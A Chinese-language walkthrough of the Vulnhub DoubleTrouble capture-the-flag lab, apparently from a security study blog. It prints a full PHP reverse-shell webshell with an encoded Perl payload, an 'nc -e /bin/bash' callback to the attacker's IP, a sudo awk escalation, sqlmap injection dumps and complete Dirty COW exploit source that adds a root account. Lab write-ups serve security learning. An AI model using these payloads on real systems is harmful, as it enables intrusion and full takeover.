1
免责声明
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览
这是网络安全自修室每周带星球小伙伴一起实战的第14台靶机,欢迎有兴趣的小伙伴一起加入实操,毕竟实践出真知!
靶机可从Vulnhub平台 免费下载,并通过虚拟机在本地搭建,渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标!
攻击机:Kali Linux
靶机环境:192.168.3.72
所用工具:nmap | Burpsuite
靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 目标:获取靶机root权限
和flag
nmap -Pn --min-rate 10000 -sT <目标IP> -p- -oA nmapscan/ports
nmap -O -sV -sC -sT -p <端口> <目标IP> -oA nmapscan/detail
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-22 00:54 EST
Nmap scan report for 192.168.3.72 (192.168.3.72)
Host is up (0.0056s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 6afed61723cb90792bb12d3753974658 (RSA)
| 256 5bc468d18959d748b096f311871c08ac (ECDSA)
|_ 256 613966881d8ff1d040611e99c51a1ff4 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: qdPM | Login
MAC Address: 08:00:27:45:31:D4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80端口:打开网站,发现是一个登录界面,CMS为qdPM 9.1
。
image
综上信息搜集可以发现,目标服务器为Linux系统,开启了80、22端口,web的CMS为
qdPM 9.1
,`重点考虑从web页面找寻突破口
image
经查看,主要存在以下关键目录
http://192.168.3.72/core
#发现该目录下存在很多敏感文件,其中有一个文件下有邮箱用户名和密码,猜测可以在登陆界面登陆或者进行ssh登陆,不过在尝试过后发现这就是一个伪造的信息,暂时没法利用
http://192.168.3.72/uploads
#猜测该目录应该是登陆后上传文件存储的地方
http://192.168.3.72/secret
#访问后是一张图片,该图片可能隐藏有重要信息
将图片下载到本地
image
使用steghide工具先查看一下图片基本信息 kali默认没有安装,可能需要先安装一下
apt-get install steghide#安装steghide工具
steghide info doubletrouble.jpg#查看图片基本信息
发现需要密码才能查看图片信息
image
使用stegseek工具对图片进行爆破 kali中没有自带stegseek工具,需要先安装 安装stegseek
https://github.com/RickdeJager/stegseek/releases#stegseek下载地址,下载stegseek\_0.6-1.deb
apt install /tmp/mozilla\_root0/stegseek\_0.6-1.deb#安装stegseek
解压kali字典,使用kali自带字典进行爆破
gunzip /usr/share/wordlists/rockyou.txt.gz#kali自带字典,需要先解压
mkdirdict#创建一个文件夹用来存放rockyou.txt字典
cp /usr/share/wordlists/rockyou.txt /root/dict/#将解压的字典复制到dict文件夹里
使用stegseek爆破图片隐藏信息
stegseek --crack doubletrouble.jpg /root/dict/rockyou.txt -xf
output.txt
#--crack 使用文字列表破解文件。这是默认模式。这里的rockyou.txt就是文字列表字典
#-xf 将破解出的信息存放到指定的文件里
成功破解出图片中的信息,原来是一个邮箱和密码
image
使用从doubletrouble.jpg图片中破解出的邮箱和密码进行80端口的登陆,发现可以登陆成功
image
点击这里发现这里可以上传文件
http://192.168.3.72/index.php/myAccount
上传木马 这里分享一个使用的反弹shell木马 点击查看shell.php木马
<?php
functionwhich($pr){
$path\=execute("which$pr");
return($path?$path:$pr);
}
functionexecute($cfe){
$res\='';
if($cfe){
if(function\_exists('exec')){
@exec($cfe,$res);
$res\=join("\\n",$res);
}
elseif(function\_exists('shell\_exec')){
$res\=@shell\_exec($cfe);
}elseif(function\_exists('system')){
@ob\_start();
@system($cfe);
$res\=@ob\_get\_contents();
@ob\_end\_clean();
}elseif(function\_exists('passthru')){
@ob\_start();
@passthru($cfe);
$res\=@ob\_get\_contents();
@ob\_end\_clean();
}elseif(@is\_resource($f\=@popen($cfe,"r"))){
$res\='';
while(!@feof($f)){
$res.=@fread($f,1024);
}
@pclose($f);
}
}
return$res;
}
functioncf($fname,$text){
if($fp\=@fopen($fname,'w')){
@fputs($fp,@base64\_decode($text));
@fclose($fp);
}
}
$yourip\="your IP";
$yourport\='your port';
$usedb\=array('perl'\=>'perl','c'\=>'c');
$back\_connect\="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back\_connect);
$res\=execute(which('perl')." /tmp/.bc$yourip$yourport&"); ?>
注意木马中这里需要修改为监听设备(kali)的IP和需要监听的端口
找到上传的木马路径
http://192.168.3.72/uploads/users/
在kali中启动nc监听,同时在浏览器中点击刚刚上传的木马
nc -lvnp 4455
image
成功反弹shell
image
使用python切换shell
python -c 'importpty;pty.spawn("/bin/bash")'
image
在信息收集中我们发现该网站是基于qdPM9.1框架进行搭建的 kali中自带有漏洞库,通过漏洞库的查找可以找到与qdPM9.1有关的漏洞进行POC测试
searchsploit -u #更新漏洞库
searchsploit qdpm #查找有关qdpm有关的漏洞
发现有很多符合的POC脚本可以利用
image
searchsploit -m 47954.py
searchsploit -m 50175.py
\-m后面跟需要下载的脚本
image
查看一下这些脚本时怎么利用的 发现47964.py这个POC是用Python2.7来写的,在执行的时候后面跟url、邮箱地址和密码,分别使用参数-url、-u、-p,邮箱地址和密码应该就是图片中破解出来的信息
image
发现50175.py是用python3写的,且这个脚本是基于47954.py编写的,命令执行格式应该跟47954.py差不多
image
既然这样我们直接使用50175.py来进行POC测试,不过在测试的时候发现总是报错,分析脚本后发现是脚本中很多地方格式不对,需要自己整理 比如说像这种错误,我们直接到第59行去修改
python 350175.py -url http://192.168.3.72/ -u otisrush@localhost.com -p otis666
image
这里不应该分行
image
修改后应该是这样的
image
后面还有很多这样的小错误,也需要将这种在一句话还未结束的句子代码放在一行中
可以看到这里成功生成了一个后门
image
浏览器访问一下这个后门
image
点击生成的后面,这这个页面输入?cmd=,其中cmd后可以执行任意命令操作,如图所示
http://192.168.3.72//uploads/users/793584\-backdoor.php?cmd\=id
image
http://192.168.3.72//uploads/users/793584\-backdoor.php?cmd\=id
#当前文件路径问/var/www/html/uploads/users
image
使用nc监听反弹shell
先在kali中启动nc监听
nc -lvnp1234
image
在浏览器中输入如下代码,其中192.168.3.76 1234为监听设备的IP和端口(kali)
http://192.168.3.72//uploads/users/793584\-backdoor.php?cmd\=nc\-e/bin/bash192.168.3.761234
回到shell,发现成功反弹shell,还是使用Python切换到bash这个shell中
image
发现awk可以进行无密码使用sudo操作
image
可以在该网站中查看sudo提权方式 https://gtfobins.github.io/
找到相关提权命令
sudo awk'BEGIN{system("/bin/sh")}'
其实可以稍微修改一下,使用bash这个shell要好操作一点
sudo awk'BEGIN{system("/bin/bash")}'
image
成功拿到管理员权限
image
进入root目录中,发现里面还存在一个靶机
image
我这里将该靶机复制到网站根目录的uploads目录中,然后下载到本地使用virtualbox进行搭建(还是使用桥接模式)
cp doubletrouble.ova/var/www/html/uploads
image
主机IP地址为192.168.3.77
image
还是只开放了两个端口80端口的http服务和22端口的ssh服务
image
80端口是一个登陆界面,简单尝试下弱口令和万能密码都无果
image
使用sqlmap进行扫描,发现存在时间盲注
sqlmap -u "http://192.168.3.77/index.php" --forms --batch
image
sqlmap -u "http://192.168.3.77/index.php" --forms --batch --current -db
当前数据库为doubletrouble
image
sqlmap -u "http://192.168.3.77/index.php" --forms --batch -D doubletrouble --tables
image
sqlmap -u "http://192.168.3.77/index.php" --forms -batch -D doubletrouble -T users --columns
image
sqlmap -u "http://192.168.3.77/index.php" --forms --batch -D doubletrouble -T users -C username,password --dump
成功爆出用户名和密码
image
使用从数据库中获得的这两个用户名和密码进行80端口登陆和22端口ssh登陆尝试 80端口:两个用户都无法登陆 22端口:montreux用户不能进行ssh远程登录,但clapton用户可以 登陆clapton用户,成功获取到clapton用户的shell
image
发现该用户不具有sudo权限
image
uname -a
发现系统的内核版本是linux3.2,该系统版本具有一个很明显的漏洞--脏牛漏洞
image
发现40616.c是有关脏牛漏洞的POC,将它下载下来
searchsploit linux3.2
searchsploit -m 40616.c
image
查看一下如何使用 先使用gcc连接,然后直接使用,后面不用跟其他命令
image
nc -lvnp 10086 >40616.c
image
nc 192.168.3.77 10086 < 40616.c -w 1
image
传输完成
image
image
感觉像被加密了,拿去解密一下,果然是这样
image
还是继续提权
发现40616.c还没有执行权限,先给它赋予执行权限,然后再使用gcc生成可执行程序
image
成功拿到管理员权限
image
最后在root目录中,拿到最后一个flag
image
其实,脏牛漏洞提权的POC还有很多,很多人会使用这个dirty.c来创建管理员账户进行管理员登录,从而获得管理员shell
点击查看dirty.c代码
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace\_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
#include<fcntl.h>
#include<pthread.h>
#include<string.h>
#include<stdio.h>
#include<stdint.h>
#include<sys/mman.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<sys/wait.h>
#include<sys/ptrace.h>
#include<stdlib.h>
#include<unistd.h>
#include<crypt.h>
constchar\*filename ="/etc/passwd";
constchar\*backup\_filename ="/tmp/passwd.bak";
constchar\*salt ="firefart";
intf;
void\*map;
pid\_tpid;
pthread\_tpth;
structstatst;
structUserinfo{
char\*username;
char\*hash;
intuser\_id;
intgroup\_id;
char\*info;
char\*home\_dir;
char\*shell;
};
char\*generate\_password\_hash(char\*plaintext\_pw){
returncrypt(plaintext\_pw, salt);
}
char\*generate\_passwd\_line(structUserinfo u){
constchar\*format ="%s:%s:%d:%d:%s:%s:%s\\n";
intsize =snprintf(NULL,0, format, u.username, u.hash,
u.user\_id, u.group\_id, u.info, u.home\_dir, u.shell);
char\*ret =malloc(size +1);
sprintf(ret, format, u.username, u.hash, u.user\_id,
u.group\_id, u.info, u.home\_dir, u.shell);
returnret;
}
void\*madviseThread(void\*arg){
inti, c =0;
for(i =0; i <200000000; i++) {
c +=madvise(map,100, MADV\_DONTNEED);
}
printf("madvise %d\\n\\n", c);
}
intcopy\_file(constchar\*from,constchar\*to){
// check if target file already exists
if(access(to, F\_OK) !=\-1) {
printf("File %s already exists! Please delete it and run again\\n",
to);
return\-1;
}
charch;
FILE \*source, \*target;
source =fopen(from,"r");
if(source ==NULL) {
return\-1;
}
target =fopen(to,"w");
if(target ==NULL) {
fclose(source);
return\-1;
}
while((ch =fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\\n",
from, to);
fclose(source);
fclose(target);
return0;
}
intmain(intargc,char\*argv\[\])
{
// backup file
intret =copy\_file(filename, backup\_filename);
if(ret !=0) {
exit(ret);
}
structUserinfouser;
// set values, change as needed
user.username ="firefart";
user.user\_id =0;
user.group\_id =0;
user.info ="pwned";
user.home\_dir ="/root";
user.shell ="/bin/bash";
char\*plaintext\_pw;
if(argc >=2) {
plaintext\_pw = argv\[1\];
printf("Please enter the new password: %s\\n", plaintext\_pw);
}else{
plaintext\_pw =getpass("Please enter the new password: ");
}
user.hash =generate\_password\_hash(plaintext\_pw);
char\*complete\_passwd\_line =generate\_passwd\_line(user);
printf("Complete line:\\n%s\\n", complete\_passwd\_line);
f =open(filename, O\_RDONLY);
fstat(f, &st);
map =mmap(NULL,
st.st\_size +sizeof(long),
PROT\_READ,
MAP\_PRIVATE,
f,
0);
printf("mmap: %lx\\n",(unsignedlong)map);
pid = fork();
if(pid) {
waitpid(pid,NULL,0);
intu, i, o, c =0;
intl=strlen(complete\_passwd\_line);
for(i =0; i <10000/l; i++) {
for(o =0; o < l; o++) {
for(u =0; u <10000; u++) {
c +=ptrace(PTRACE\_POKETEXT,
pid,
map + o,
\*((long\*)(complete\_passwd\_line + o)));
}
}
}
printf("ptrace %d\\n",c);
}
else{
pthread\_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE\_TRACEME);
kill(getpid(), SIGSTOP);
pthread\_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.\\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\\n\\n",
user.username, plaintext\_pw);
printf("\\nDON'T FORGET TO RESTORE! $ mv %s %s\\n",
backup\_filename, filename);
return0;
}
在本地创建一个dirty.c文件,将代码复制进去
image
与第四步一样,使用nc传输,将dirty.c文件传到clapton用户中,同时赋予可执行权限
image
gcc连接,然后执行POC,需要注意的是,这里在执行POC后面可以接密码,即重新创建一个用户firefart,该用户具有管理员权限 此外,gcc连接需要使用如下命令
gcc -pthread dirty.c -o dirty -l crypt
root为firefart用户密码
image
使用ssh登陆firefart用户,再次成功拿到管理员权限
image
获取到最终flag